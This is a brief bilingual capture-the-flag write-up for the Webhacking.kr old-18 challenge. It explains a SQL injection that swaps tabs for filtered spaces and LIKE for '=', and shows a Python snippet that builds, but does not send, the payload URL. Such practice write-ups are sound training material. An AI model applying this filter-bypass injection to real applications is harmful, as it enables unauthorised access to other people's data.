Webhacking.kr old-18

Challenge

Make the query return the admin row while bypassing the space filter.

绕过空格过滤,让查询返回 admin 记录。

1
https://webhacking.kr/challenge/web-32/

Analysis

题目的查询形态把 no 输入置于括号中,题面注释给出 admin 的 no 为 2。0 让 id='guest' 条件为假,OR no LIKE 2 选中 admin;LIKE 在这里承担比较作用,避开被过滤的 =。%09 解码为 Tab,可替代被过滤的空格;payload 先闭合输入外层括号,再用 -- 注释掉查询末尾的剩余字符。

Solution

下面构造请求,不发送请求:

1
2
3
4
5
6
7
8
9
from urllib.parse import urlencode
from urllib.request import Request

BASE_URL = "https://webhacking.kr/challenge/web-32/"
payload = "0)\tor\tno\tlike\t2\t--\t"
request_url = BASE_URL + "?" + urlencode({"no": payload})
request = Request(request_url, method="GET")

print(request.full_url)

URL 解码后的 no 值为 0)\tor\tno\tlike\t2\t--\t,其中没有普通空格,也没有 =;末尾注释会吞掉服务端拼接的其余内容。